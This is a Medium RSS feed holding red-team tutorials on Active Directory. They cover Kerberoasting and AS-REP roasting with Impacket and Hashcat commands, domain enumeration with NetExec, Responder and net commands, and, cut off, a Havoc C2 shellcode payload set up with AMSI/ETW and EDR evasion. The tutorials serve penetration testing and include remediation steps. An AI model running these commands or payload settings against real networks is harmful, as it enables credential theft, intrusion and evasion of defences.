<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hunter Ezzell on Medium]]></title>
        <description><![CDATA[Stories by Hunter Ezzell on Medium]]></description>
        <link>https://medium.com/@odinscode?source=rss-04d52a475a77------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*4GNN9cS_2AtgmHx-</url>
            <title>Stories by Hunter Ezzell on Medium</title>
            <link>https://medium.com/@odinscode?source=rss-04d52a475a77------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 15:51:22 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@odinscode/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Attacking Active Directory: (Part 2) Exploring Kerberoasting and ASREPRoasting]]></title>
            <link>https://medium.com/@odinscode/attacking-active-directory-part-2-exploring-kerberoasting-and-asreproasting-1c184629535c?source=rss-04d52a475a77------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c184629535c</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[kerberoasting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Hunter Ezzell]]></dc:creator>
            <pubDate>Sun, 19 May 2024 14:25:55 GMT</pubDate>
            <atom:updated>2024-05-20T05:05:22.461Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4MHHcSc_Q-GpoFyJNwOUhA.jpeg" /></figure><p>Discover the inner workings of Kerberoasting and AS-REP Roasting, as we delve into techniques for exposing these vulnerabilities in Active Directory environments!</p><h3>Table of Contents:</h3><ul><li><a href="#f02f">Kerberoasting</a></li><li><a href="#bcdb">Understanding Kerberoasting</a></li><li><a href="#2e00">Getting Your Proof of Concept</a></li><li><a href="#fe98">Remediation</a></li><li><a href="#e11d">ASREPRoasting</a></li><li><a href="#1483">Understanding ASREPRoasting</a></li><li><a href="#be58">Getting Your Proof of Concept</a></li><li><a href="#8187">Remediation</a></li></ul><h3>Kerberoasting</h3><h3>Understanding Kerberoasting</h3><p>Kerberoasting is an attack method targeting the Kerberos authentication protocol, which is commonly used in Active Directory (AD) environments. Kerberos relies on service tickets (TGS tickets) to authenticate users and services within a network. In a Kerberoasting attack, adversaries exploit these service tickets to extract and crack their hashes offline, aiming to obtain plaintext passwords of service accounts.</p><p>An attacker with domain user privileges requests service tickets for accounts with SPNs (Service Principal Names) configured. They then extract these tickets and use a tool like “Hashcat” to crack the service ticket hashes offline. If successful, the attacker gains access to the service account’s password, which can lead to elevated access or further network compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*r21a3LHD9u3qorCDIrHOiA.png" /><figcaption>Kerberoasting Attack Path Diagram</figcaption></figure><h3>Getting Your Proof of Concept</h3><p>During a penetration test where you have standard user access on the domain, you will need to enumerate which accounts have SPNs. You can do so by utilizing BloodHound (<a href="https://github.com/BloodHoundAD/BloodHound">https://github.com/BloodHoundAD/BloodHound</a>).</p><p>We will first use “<a href="http://bloodhound.py/">BloodHound.py</a>” by dirkjanm to query information about the domain.</p><pre># Enumerate Domain Information #<br></pre><pre>python3 bloodhound.py -c All -u &lt;Username&gt; -p &lt;Password&gt; -ns &lt;Domain Controller IP&gt; -gc &lt;Domain_Controller_DNS_Name.Domain&gt; -dc &lt;Domain_Controller_DNS_Name.Domain&gt; -w 40 -d &lt;Domain&gt;<br></pre><pre># Move .JSON Files Into Seperate Folder #<br></pre><pre>mkdir BloodHound_Output &amp;&amp; mv *.json BloodHound_Output<br></pre><pre># Start Neo4j Console in Separate Terminals #<br></pre><pre>sudo neo4j console<br></pre><pre># Start BloodHound Console in Seperate Terminals #<br></pre><pre>bloodhound</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rUzDsfOMLijPqkFDIbU50Q.png" /><figcaption>Domain Enumerated for BloodHound Review Using Standard User Account</figcaption></figure><p>Once BloodHound is loaded, we will import our BloodHound output .json files into the BloodHound console. While there are various queries available, which we will cover in future articles, for now, we will concentrate on the “List all Kerberoastable Accounts” and “Find Kerberoastable Users with Most Privileges” queries. These queries allow us to identify all accounts with Service Principal Names (SPNs) configured and determine which of these accounts hold high-value privileges, such as membership in the “Domain Admins” group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*gy93kTyLpHqAf7MtqzNxuw.png" /><figcaption>Accounts with SPNs Configured Vulnerable to Kerberoasting Found with “List all Kerberoastable Accounts”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*7WVPMkWpQ0wGX3fBNHIChQ.png" /><figcaption>Account with High-Level Privileges Found with “Find Kerberoastable Users with Most Privileges”</figcaption></figure><p>Next, we will request the service tickets for these accounts and attempt to crack them offline. To achieve this, we will use the “<a href="http://getuserspns.py/">GetUserSPNs.py</a>” tool, which is part of the Impacket suite developed by FORTRA.</p><pre># Request Service Tickets #</pre><pre>GetUserSPNs.py &lt;Domain&gt;/&lt;Username:Password&gt; -request -dc-ip &lt;Domain Controller IP&gt; -outputfile kerberoasting.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Ix2OTkC7eUJH78W2E-6sg.png" /><figcaption>Service Tickets Requested with “<a href="http://getuserspns.py/">GetUserSPNs.py</a>”</figcaption></figure><blockquote><em>If you find this error from Linux: <br></em>Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) <em><br>It is because of your local time, you need to synchronize the host with the DC:</em></blockquote><pre>ntpdate &lt;Domain Controller IP&gt;</pre><p>With these service tickets exported, we will use Hashcat to attempt to brute-force them using commonly guessable passwords found in publicly accessible data breaches.</p><pre># Using Hashcat and a Public Wordlist #<br></pre><pre>./hashcat.exe -m 13100 kerberoasting.txt passwords.txt -O --force -w 3<br></pre><pre># 13100 - Type 23 - $krb5tgs$23$ #</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sseVfwoky2j4zjMYy7wC4g.png" /><figcaption>Service Ticket for “sql_svc” Cracked with Hashcat</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OeB2_K9g_MCQq7fi2gpe5A.png" /><figcaption>Confirming Domain Admin Access with Cracked Service Account</figcaption></figure><p>We can use “<a href="http://wmiexec.py/">wmiexec.py</a>” to showcase access to the Domain Controller with this elevated account for further proof-of-concept, using the cracked credentials.</p><pre>wmiexec.py &#39;&lt;Domain&gt;/&lt;Username&gt;&#39;@&lt;Domain Controller IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*as_juYP86lstY68_a3QHZg.png" /><figcaption>Domain Controller Access Using Cracked Account and “<a href="http://wmiexec.py/">wmiexec.py</a>”</figcaption></figure><h3>Remediation</h3><ul><li>Regularly audit service accounts to ensure they are only assigned to necessary services.</li></ul><pre># PowerShell Script to List All SPN Used by User Accounts #<br></pre><pre>Get-ADUSer -Filter { ServicePrincipalName -ne &quot;$null&quot;} -Properties ServicePrincipalName | select SamAccountName, ServicePrincipalName<br></pre><pre># PowerShell Script to List All SPN Used by Computer Accounts #<br></pre><pre>$FormatEnumerationLimit=-1<br>Get-ADComputer -Filter { ServicePrincipalName -ne &quot;$null&quot;} -Properties ServicePrincipalName | select SamAccountName, ServicePrincipalName | Out-String -Width 4096</pre><ul><li>Avoid using the same service account across multiple services or systems.</li><li>Limit the privileges assigned to service accounts to the minimum necessary for their function. Avoid granting service accounts domain administrator privileges unless absolutely necessary.</li><li>Enforce complex and lengthy passwords for service accounts to make offline cracking more difficult.</li><li>Implement password expiration policies to regularly update service account passwords.</li></ul><h3>ASREPRoasting</h3><h3>Understanding ASREPRoasting</h3><p>ASREPRoasting is an attack that targets user accounts in Active Directory that do not require preauthentication. These accounts can have their AS-REP (Authentication Service Response) messages requested without prior authentication, allowing attackers to obtain a Kerberos ticket that can be cracked offline to reveal the user’s password.</p><p>An attacker, who has gained initial access on a domain without privileges, queries the domain for user accounts that have the “Do not require Kerberos preauthentication” setting enabled. They then request AS-REP responses for these accounts and use tools to extract the Kerberos tickets from these accounts. The extracted ticket hashes are then cracked offline using tools like “Hashcat” to recover the plain text passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*ote9rD0Gotf0AukN6USSgQ.png" /><figcaption>ASREPRoasting Path Diagram</figcaption></figure><h3>Getting Your Proof of Concept</h3><p>We will use BloodHound once again to identify misconfigured accounts. Specifically, we will use the “Find AS-REP Roastable Users (DontReqPreAuth)” query to locate accounts that do not require preauthentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*jPOTf42bnFe6T12LIjbdzA.png" /><figcaption>Account Located Not Requiring Preauthentication</figcaption></figure><p>Next, we will use Impacket’s “<a href="http://getnpusers.py/">GetNPUsers.py</a>” tool to request the Kerberos tickets for these accounts.</p><pre>GetNPUsers.py &lt;Domain&gt;/ -no-pass -usersfile &lt;User File&gt; -dc-ip &lt;Domain Controller IP&gt; -format hashcat -outputfile asrephashes.txt</pre><p>Using Hashcat we will attempt to crack the Kerberos tickets stored in asrephashes.txt.</p><pre># Using Hashcat and a Public Wordlist #<br></pre><pre>./hashcat.exe -m 18200 asrephashes.txt rockyou2021.txt<br></pre><pre># 18200 - ASREP Type 23 - $krb5asrep$23$ #</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZosspTDqlEscd2ajzjD44g.png" /><figcaption>Kerberos Ticket for “brandon.stark” Cracked with Hashcat</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N9WLS_5MJY1EzEvt10QLqg.png" /><figcaption>Standard Access Confirmed with Cracked Credentials</figcaption></figure><h3>Remediation</h3><ul><li>Ensure that all user accounts in Active Directory have the “Do not require Kerberos preauthentication” setting disabled. This can be done by checking the account properties and modifying any accounts that have this setting enabled.</li></ul><pre># PowerShell Script to Check for Accounts Not Requiring PreAuthentication #<br><br>Get-ADUSer -Filter { DoesNotRequirePreAuth -eq $true } -Properties DoesNotRequirePreAuth | select SamAccountName, DoesNotRequirePreAuth</pre><ul><li>Regularly monitor for unusual account activity, such as multiple failed login attempts or unauthorized requests for AS-REP responses. This can help identify potential ASREPRoasting attacks in progress.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c184629535c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacking Active Directory: Domain Enumeration and Scanning]]></title>
            <link>https://medium.com/@odinscode/attacking-active-directory-domain-enumeration-and-scanning-e7bf3bc64b8b?source=rss-04d52a475a77------2</link>
            <guid isPermaLink="false">https://medium.com/p/e7bf3bc64b8b</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Hunter Ezzell]]></dc:creator>
            <pubDate>Tue, 07 May 2024 13:02:21 GMT</pubDate>
            <atom:updated>2025-01-16T13:56:25.905Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*DK_UzxmmggIfnSxfn0heSg.png" /></figure><h4>Where Enumeration Meets Exploration!</h4><h3>Table of Contents:</h3><p>- <a href="#706b">Initial Access:</a> <br>- <a href="#b40b">NMAP:</a> <br>- <a href="#78a5">NetExec:</a> <br>- <a href="#73d7">enum4linux:</a> <br>- <a href="#0b4d">fping:</a> <br>- <a href="#3252">NBTscan:</a> <br>- <a href="#3d3d">Network Broadcast Protocols:</a> <br>- <a href="#f86d">Responder:</a> <br>- <a href="#ec21">TCPDump Reviewed with Wireshark:</a> <br>- <a href="#3534">On Windows with Executed Payload:</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WG1AGw37onoUAY3TNPDQkQ.png" /><figcaption>Free Correlated Udemy Course</figcaption></figure><p><a href="https://www.udemy.com/course/hunting-in-the-domain-active-directory-recon-and-discovery/">https://www.udemy.com/course/hunting-in-the-domain-active-directory-recon-and-discovery/</a></p><h3>Initial Access:</h3><p>Scenario:</p><p>You’ve gained initial access to the network without any user credentials. Your entry point was facilitated by a device that the client has connected for you or, perhaps through physical access or social engineering tactics. Now, the next step is to understand your attack surface by enumerating the network. Network enumeration allows you to create a map of the network topology and identify potential entry points or vulnerabilities. This process requires patience and meticulousness as you navigate through the network landscape. Although network enumeration may not be as thrilling as launching a full-scale cyber attack, it lays the groundwork for further exploration and exploitation.</p><p>You can accomplish this task by employing various domain enumeration tools, including:</p><ul><li>NMAP</li><li>NetExec</li><li>enum4linux</li><li>fping</li><li>NBTscan</li><li>TCPDump with WireShark</li></ul><p>In our lab environment, we will utilize a local version of <a href="https://github.com/Orange-Cyberdefense/GOAD">Orange-Cyberdefense’s GOAD </a>Active Directory environment. Throughout the lessons, we will approach the content from the viewpoint of an attacker who has gained access to a Linux machine.</p><h3>NMAP</h3><p>Using NMAP you can discover what services are running on accessible hosts and potentially what versions of services those are. Some service versions may be vulnerable to public exploits. Here are a few example of how NMAP could be used:</p><pre># For a full domain scan.</pre><pre>nmap -Pn -p- -sC -sV -oA full_scan &lt;IP Range&gt;</pre><pre># Checking for a specific range of top ports.</pre><pre>nmap -T4 -A -iL targets.txt --top-ports=1000 -oA nmap_top1000</pre><pre># For enumerating LDAP information passively.</pre><pre>nmap -n -sV --script &quot;ldap* and not brute&quot; &lt;Domain Controller IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AEVhcRK3bCmnL6rG9k-_Ng.png" /><figcaption>Example of NMAP Returning Open Ports and Services</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*buNrr8MNqe0LzO9jKLimGg.png" /><figcaption>LDAP Information Enumerated Passively with NMAP Script</figcaption></figure><h3>NetExec</h3><p>With NetExec, we have the capability to examine all active hosts within a specified range and extract additional details such as domain names, hostnames, potential versions of hosts/servers, and possible misconfigurations (e.g., SMB Signing set to False, SMBv1 enabled). This information can be pivotal for an attacker in advancing their foothold on a network or exploiting relay vectors like SMB and LDAPS.</p><pre># Enumerate a Range of IPs</pre><pre>netexec smb &lt;IP Range&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JmLjWzajW4pPDozO2lavAw.png" /><figcaption>Hosts Enumerated with NetExec</figcaption></figure><p>NetExec also offers the ability to gather a diverse range of valuable information, including user accounts, domain groups, accessible shares, password policies, and additional data.</p><pre># Enumerate Users (These can also be tried with user credentials)</pre><pre>netexec smb &lt;Target IP Range&gt; --users</pre><pre>netexec smb &lt;Domain Controller IP&gt; -u &#39;USERNAME&#39; -p &#39;PASSWORD&#39; --users<br></pre><pre># Enumerate Open Shares (These can also be tried with user credentials)</pre><pre>netexec smb &lt;Target IP Range&gt; --shares</pre><pre>netexec smb &lt;Domain Controller IP&gt; -u &#39;USERNAME&#39; -p &#39;PASSWORD&#39; --shares<br></pre><pre># Enumerate Password Policy (These can also be tried with user credentials)</pre><pre>netexec smb &lt;Target IP Range&gt; --pass-pol</pre><pre>netexec smb &lt;Domain Controller IP&gt; -u &#39;USERNAME&#39; -p &#39;PASSWORD&#39; --pass-pol<br></pre><pre># Enumerate for Hosts with SMB Signing not Required</pre><pre>netexec smb &lt;Target IP Range&gt; --gen-relay-list relay_list.txt<br></pre><pre># Guest Access may also be available.</pre><pre>netexec smb &lt;Target IP Range&gt; -u &#39;a&#39; -p &#39;&#39; --shares</pre><p>If the Domain Controller permits NULL session access, it becomes feasible to extract domain user details. This exposes the attacker to a legitimate roster of usernames and an avenue to monitor password brute-force attempts labeled as “-BadPW-”. By re-executing the NetExec command, one can monitor the incrementing count under the “-BadPW-” column for failed login attempts. With luck on your side, you may even uncover a password stored in the “-Description-” field 😉. Although this vulnerability is becoming less prevalent, it remains prudent to verify the security posture of your servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ippxiJLfCdDGb7yXwvxWSg.png" /><figcaption>Users Enumerated from NULL Session on Domain Controller. User Also Discovered to Have Password Contained in User Description</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-BpiHOhQNzQShAHLonxREA.png" /><figcaption>Confirmed Standard User Access with Discovered Credentials</figcaption></figure><p>Within the realm of user password brute-force attacks, an attacker could tailor their assault by leveraging knowledge obtained through NULL session enumeration of the domain password policy. This insight might include:</p><ul><li>Minimum password complexity : Lab Example - 5</li><li>How old the password is, giving the attacker a knowledge of overall password hygiene : Lab Example - 311 days 2 minutes</li><li>How long it will take for the lockout threshold to be renewed, giving an attacker knowledge of when they are safe to make further login brute forcing attempts : Lab Example - 5 minutes</li><li>The duration of account lockout, giving an attacker knowledge of how long an account would be locked out before further attempts could be made : Lab Example - 5 minutes</li><li>The overall account lockout threshold, giving an attacker knowledge of the maximum amount of attempts they could make during password brute forcing : Lab Example - 5</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lqGjlpqY73Jy__BR-knKkQ.png" /><figcaption>Password Policy Enumerated through NULL Session</figcaption></figure><p>Guest access might be enabled on certain hosts, potentially serving as a pathway for enumerating shared drives across the network. If accessible, some of these drives could harbor sensitive data such as Payment Card Industry (PCI) information, Protected Health Information (PHI), confidential blueprints, proprietary software, or even more critical assets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*02c0yKx1sQ_6oVYPEOMpZQ.png" /><figcaption>Shares Enumerated Using Guest Access</figcaption></figure><p>Get connected to the open share drive using Guest access and leaving the password blank when prompted.</p><pre>smbclient //&lt;Share IP Address&gt;/&lt;Sharename&gt; -U &lt;Domain&gt;/Username</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*RlayPPrsU2qIYNIECfYTaA.png" /><figcaption>Gaining Access to Share Drive Using Guest Access</figcaption></figure><h3>enum4linux</h3><p>In the event of discovering NULL sessions or Guest access, enum4linux could potentially extract more comprehensive domain information.</p><pre>enum4linux &lt;Domain Controller IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yurcv4C8NwPohtvCLfuZig.png" /><figcaption>Enumerating Users with enum4linux</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*h_-cTGe22oO6OVDsNGsUSw.png" /><figcaption>Password Policy Enumerated via NULL Session with enum4linux</figcaption></figure><h3>fping</h3><p>If you want to determine which hosts are reachable on the network, fping can identify them across a specified IP range.</p><pre>fping -g 192.168.56.1/24 2&gt;/dev/null | grep -v &quot;is unreachable&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*mjHTfmFhfV9Y_49v0m2Wlw.png" /><figcaption>“Reachable” Hosts Discovered with fping</figcaption></figure><h3>NBTscan</h3><p>NBTscan offers another valuable resource for enumerating hostnames within a domain. This tool specializes in querying NetBIOS information, providing details such as hostnames, NetBIOS names, and associated IP addresses. By leveraging NBTscan, analysts can swiftly gather essential network information, aiding in network mapping, troubleshooting, and security assessments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*0YazHaJk-fvAyPGKqZko0g.png" /><figcaption>Hostnames Enumerated with NBTscan</figcaption></figure><h3>Network Broadcast Protocols</h3><p>There are several relay vectors attackers might utilize once they’ve gained a foothold on a network. Some of these include:</p><ul><li>NTLM Relay</li><li>SMB Relay</li><li>LDAP Relay</li></ul><p>These vectors typically involve spoofing network traffic to elicit a response within the established relay. The spoofed network traffic often exploits network protocols broadcasted within the network. While there are multiple methods to identify this traffic, we will explore Responder, TCPDump, and Wireshark.</p><h3>Responder</h3><p>Responder proves valuable in identifying network traffic, albeit with some noise, making it ideal for penetration testing endeavors. It identifies a range of network protocol traffic, including the essential components for relays. For instance:</p><ul><li>NetBIOS Name Service (NBT-NS)</li><li>Link-Local Multicast Name Resolution (LLMNR)</li><li>multicast DNS (mDNS)</li><li>If you’re lucky, a NTLM/NTLMv2 hash for a user that could potentially be cracked offline 😉</li></ul><pre># Check the network in Analyzer mode</pre><pre>responder -I &lt;ATTACKER&#39;s INTERFACE&gt; -A</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4nxnlOp-cuhVk_Dj9JG7-A.png" /><figcaption>LLMNR and mDNS Observed Following a NTLMv2-SSP Hash Being Captured Passively</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*LDcd-mW79-QW-CR7upg26A.png" /><figcaption>NBT-NS Observed Passively</figcaption></figure><h3>TCPDump Reviewed with Wireshark</h3><p>Another approach to examining network protocols involves capturing network traffic using TCPDump. This tool provides a comprehensive view of network communications, allowing analysts to dissect packets and inspect protocol interactions in detail. By analyzing TCPDump captures, security professionals can gain insights into network behavior, identify anomalies, and detect potential security issues. This method enables a thorough examination of network traffic, making it a valuable resource for network troubleshooting, incident response, and security analysis.</p><pre># Capture network traffic and store in .pcap file<br><br>tcpdump -i &lt;ATTACKER INTERFACE&gt; -w networkcapture.pcap</pre><p>Open the captured .pcap file and review for sensitive network protocols.</p><pre># Wireshark Search Terms</pre><pre>llmnr<br>nbns<br>mdns</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W7R8kJw2saeKpy_R-K53ng.png" /><figcaption>Link-Local Multicast Name Resolution (LLMNR) Traffic Observed with TCPDump</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kreLgUNzzgr3NMlrii20zQ.png" /><figcaption>NetBIOS Name Service (NBT-NS) Traffic Observed with TCPDump</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WYlRKzVWINw4hm6sWcFMFg.png" /><figcaption>multicast DNS (mDNS) Traffic Observed with TCPDump</figcaption></figure><h3>On Windows with Executed Payload</h3><p>You’ve successfully infiltrated a machine after someone, vulnerable to social engineering tactics, clicked on a malicious link in an email. This triggered a payload embedded within a “.hta” file, granting you access. Now, you require several methods to enumerate hosts for valuable information. An HTML Application (HTA) represents a Microsoft Windows application composed of HTML, Dynamic HTML, and one or more scripting languages compatible with Internet Explorer, including JScript. These applications leverage the full power of web technologies to provide interactive and dynamic user experiences within the Windows environment. Through the integration of HTML and scripting languages, HTAs offer versatile functionality, enabling developers to create rich and engaging applications for various purposes, from simple utilities to sophisticated business tools.</p><p>.HTA (HTML Application) files are commonly used maliciously in cyber attacks due to their ability to execute arbitrary commands on Windows systems. Attackers often leverage .HTA files to deliver various types of malware, such as ransomware, trojans, or spyware, to unsuspecting victims. Here’s how .HTA files are used maliciously:</p><ol><li><strong>Phishing Attacks</strong>: Attackers send phishing emails containing links to malicious .HTA files hosted on compromised websites or attachments containing .HTA files. Unsuspecting users may click on these links or open the attachments, initiating the execution of malicious code.</li><li><strong>Downloading Trojans</strong>: .HTA files can act as downloaders for additional malware payloads. When executed, the .HTA file may connect to a remote server controlled by the attacker to download and execute malicious payloads, such as ransomware or banking trojans.</li></ol><p>In the same lab environment mentioned earlier, we demonstrate the execution of commands on a host that activated a “.hta” payload using Kevin Clark’s Badrat C2 as an example. These Command Prompt commands will be used to enumerate the Active Directory environment:</p><pre># Enumerate the users in the domain:</pre><pre>net user /domain</pre><pre># Enumerate the groups in the domain:</pre><pre>net group /domain</pre><pre># Enumerate a specific group in the domain:</pre><pre>net group &quot;TARGET GROUP&quot; /domain</pre><pre># Enumerate the password policy in the domain:</pre><pre>net accounts /domain</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*hF66bDB2WSUQaYMKIcfuLg.png" /><figcaption>General Host Information Enumerated</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*MOXAclr_fTiJPlJeRf2BfQ.png" /><figcaption>Users Enumerated on the Domain</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*jicZIAm3aNLTxwlZULSQfQ.png" /><figcaption>Groups Enumerated on the Domain</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*6LgRdQYlVncWrP8GUTDUEw.png" /><figcaption>Users Enumerated from Domain Admins Group</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*CMpUxuZIM_QNKj3IoG6ovA.png" /><figcaption>Password Policy Enumerated from Active Directory</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e7bf3bc64b8b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Havoc C2: Use Cases]]></title>
            <link>https://medium.com/@odinscode/havoc-c2-use-cases-e46d415ce1e3?source=rss-04d52a475a77------2</link>
            <guid isPermaLink="false">https://medium.com/p/e46d415ce1e3</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Hunter Ezzell]]></dc:creator>
            <pubDate>Mon, 06 May 2024 17:35:55 GMT</pubDate>
            <atom:updated>2024-05-06T17:54:58.317Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M3YelQJoQlFCR8oDJCcoDg.png" /><figcaption>Havoc C2</figcaption></figure><p>Let’s have some fun with Havoc C2!</p><h4>Table of Contents:</h4><p>– <a href="#af6e">Windows Shellcode with Fully-Automated AES Encrypted Direct Syscall Execution:</a><br>– <a href="#b2ec">Create Listener with Havoc C2</a><br>– <a href="#14e4">Create Payload with Havoc C2</a><br>– <a href="#3af7">Encrypt Payload with Fully-Automated AES Encrypted Direct Syscall Execution:</a><br>– <a href="#f7c5">Payload Execution on Victim Machine:</a><br>– <a href="#6b40">References:</a></p><h3>Windows Shellcode with Fully-Automated AES Encrypted Direct Syscall Execution:</h3><h3>Create Listener with Havoc C2:</h3><pre>View  <br>Listeners  <br>Add <br>Payload= Https<br>Hosts= Havoc C2 Team Server IP <br>User Agent= Randomize User Agent with &quot;&lt;https://iplogger.org/useragents/&gt;&quot;<br>Headers= Cache-Control: max-age=3600</pre><ul><li><strong>User Agent</strong>: The User-Agent header is a crucial component of HTTP requests, providing information about the client making the request. Threat actors often manipulate this header in their command and control (C2) communications to blend in with legitimate traffic or to bypass detection mechanisms. By adjusting the User-Agent string in their HTTP requests, threat actors can make their malicious traffic appear more innocuous and less suspicious. For example, they may mimic common user agents associated with popular web browsers or legitimate applications.</li><li><strong>Cache-Control: max-age</strong>: Specifies the maximum amount of time (in seconds) that a cached response can be considered fresh. For example, “Cache-Control: max-age=3600” indicates that the response can be cached for up to one hour.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*plvpjLcDQq7NQqUSaFT4uA.png" /><figcaption>HTTPS Listener Created with Random User Agent and Custom Headers</figcaption></figure><h3>Create Payload with Havoc C2:</h3><pre>Attack<br>Payload<br>Format= Windows Shellcode<br>Sleep= 3 <br>Jitter= 23<br>Inderect_Syscall= [CHECK]<br>Stack_Duplication= [CHECK]<br>Sleep_Technique= Foliage<br>Proxy_Loading= RtlCreateTimer<br>AmsiEtw_Patch= Hardware breakpoints</pre><ul><li><strong>Indirect Syscalls</strong>: Facilitate Syscall execution within ntdll.dll memory, offering a legitimate guise for EDR evasion. By substituting direct syscalls with indirect ones, the resulting call stack imitates conventional execution patterns, aiding in bypassing EDR systems scrutinizing syscall memory areas.</li><li><strong>Stack Duplication:</strong> Maneuvers come into play during sleep phases to elude detection amidst C2 operations.</li><li><strong>Foliage:</strong> Introduces a sleep obfuscation strategy involving the creation of a new thread and utilization of NtApcQueueThread to enqueue a ROP chain. ROP, or Return Oriented Programming, strings together assembly code snippets with stack manipulation to orchestrate complex program behaviors. In this instance, Foliage encrypts the agent’s memory and postpones execution.</li><li><strong>RtlCreateTimer:</strong> Orchestrates the queuing of the ROP chain itself between sleep cycles. ROP chaining typically begins by exploiting a vulnerability in a program that allows an attacker to overwrite the program’s stack memory. This vulnerability is often caused by a buffer overflow, where the attacker can write more data to a buffer than it can hold, causing it to overflow into adjacent memory.</li><li><strong>AMSI/ ETW:</strong> The synergy between AMSI (AntiMalware Scan Interface) and ETW (Event Tracing for Windows) poses challenges for red teams attempting to mimic attacks within domain enumeration and privilege escalation. AMSI scans code, while ETW furnishes reports on classes and methods employed by Portable Executable (PEs). PE refers to the file format used for executable files, object code, DLLs (Dynamic Link Libraries), FON Font files, and others in 32-bit and 64-bit versions of Windows operating systems. To circumvent this, hardware breakpoints are employed, initiating a new process in debug mode devoid of the hooked EDR or amsi.dll.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*XZjD80u6zXTEZfWfQIKC3g.png" /><figcaption>Payload Created with Havoc C2</figcaption></figure><h3>Encrypt Payload with Fully-Automated AES Encrypted Direct Syscall Execution:</h3><ul><li>In this instance we use a program called “Harriet” by “assume-breach” to encrypt our “.bin” shellcode payload produced by Havoc C2.</li></ul><p><a href="https://github.com/assume-breach/Home-Grown-Red-Team/tree/main/Harriet">Home-Grown-Red-Team/Harriet at main · 